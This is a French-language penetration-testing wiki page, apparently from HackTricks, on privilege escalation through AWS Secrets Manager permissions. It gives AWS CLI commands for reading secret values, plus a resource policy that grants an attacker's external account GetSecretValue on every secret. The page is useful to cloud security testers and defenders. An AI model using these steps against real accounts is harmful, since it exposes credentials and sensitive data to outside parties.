# AWS - Secrets Manager Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Secrets Manager

Pour plus d'informations sur le gestionnaire de secrets, consultez :

{{#ref}}
../aws-services/aws-secrets-manager-enum.md
{{#endref}}

### `secretsmanager:GetSecretValue`

Un attaquant ayant cette permission peut obtenir la **valeur enregistrée à l'intérieur d'un secret** dans AWS **Secretsmanager**.
```bash
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
```
**Impact potentiel :** Accéder à des données très sensibles dans le service AWS Secrets Manager.

### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`)

Avec les autorisations précédentes, il est possible de **donner accès à d'autres principaux/comptes (même externes)** pour accéder au **secret**. Notez que pour **lire les secrets chiffrés** avec une clé KMS, l'utilisateur doit également avoir **accès à la clé KMS** (plus d'infos sur la [page KMS Enum](../aws-services/aws-kms-enum.md)).
```bash
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
```
policy.json :
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}
```
{{#include ../../../banners/hacktricks-training.md}}
